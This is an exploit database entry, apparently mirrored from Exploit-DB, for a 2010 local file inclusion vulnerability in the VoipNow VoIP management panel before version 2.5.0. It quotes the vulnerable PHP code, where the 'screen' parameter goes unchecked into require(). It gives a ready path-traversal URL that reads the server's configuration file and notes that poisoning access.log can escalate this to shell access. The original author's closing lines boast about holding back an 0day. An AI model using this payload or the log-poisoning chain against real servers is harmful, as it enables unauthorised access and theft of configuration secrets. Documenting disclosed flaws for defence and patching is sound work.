VoipNow Local File Inclusion Vulnerability

vendor:

VoipNow

by:

Faris, AKA i-Hmx

7,5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: VoipNow

Affected Version From: Prior to 2.5.0

Affected Version To: Prior to 2.5.0

Patch Exists: Yes

Related CWE: N/A

CPE: 4psa.com

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

VoipNow Local File Inclusion Vulnerability

VoipNow is commercial web GUI voip server manager, it's affected by local file inclusion vulnerability. The vulnerability exists in the /usr/local/voipnow/admin/htdocs/help/index.php file. Line 832 checks if the 'screen' parameter is set and not empty, and line 872 requires the file specified in the 'screen' parameter. An attacker can exploit this vulnerability by sending a crafted request to the server, such as https://target/help/index.php?screen=../../../../../../../../etc/voipnow/voipnow.conf, to gain shell access to the server via infecting Logs which located at /usr/local/voipnow/admin/logs/access.log.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should upgrade to VoipNow version 2.5.0 or later.

Source

Exploit-DB raw data:

/*
+ Application : Voipnow
| Version , Perior to 2.5.0
| Download : http://4psa.com/
| By Faris , AKA i-Hmx
| n0p1337@gmail.com
+ sec4ever.com , 1337s.cc
*/

VoipNow is commercial web GUI voip server manager,
it's affected by local file inclusion vuln
File : /usr/local/voipnow/admin/htdocs/help/index.php

Line 832
if ( !( isset( $_GET['screen'] ) && trim( $_GET['screen'] ) != "" ) )
{
    exit( );
}

Line 872
require( $help_path.trim( $_GET['screen'] ) );

Example : https://target/help/index.php?screen=../../../../../../../../etc/voipnow/voipnow.conf

can be exploited to gain shell access to the server via infecting Logs which located at
 /usr/local/voipnow/admin/logs/access.log
 
NP : Sorry Guys for the time you wasted tracing my Elastix Logs ;)
     But The 0day Remain 0day till i decide to dislose it by my own xD
	 and again Enjoy the song : http://www.youtube.com/watch?v=d-ELnDPmI8w
	 keep in Your skiddy minds , "I Ain't Mad At Cha"
	 < Faris , The Awsome xD >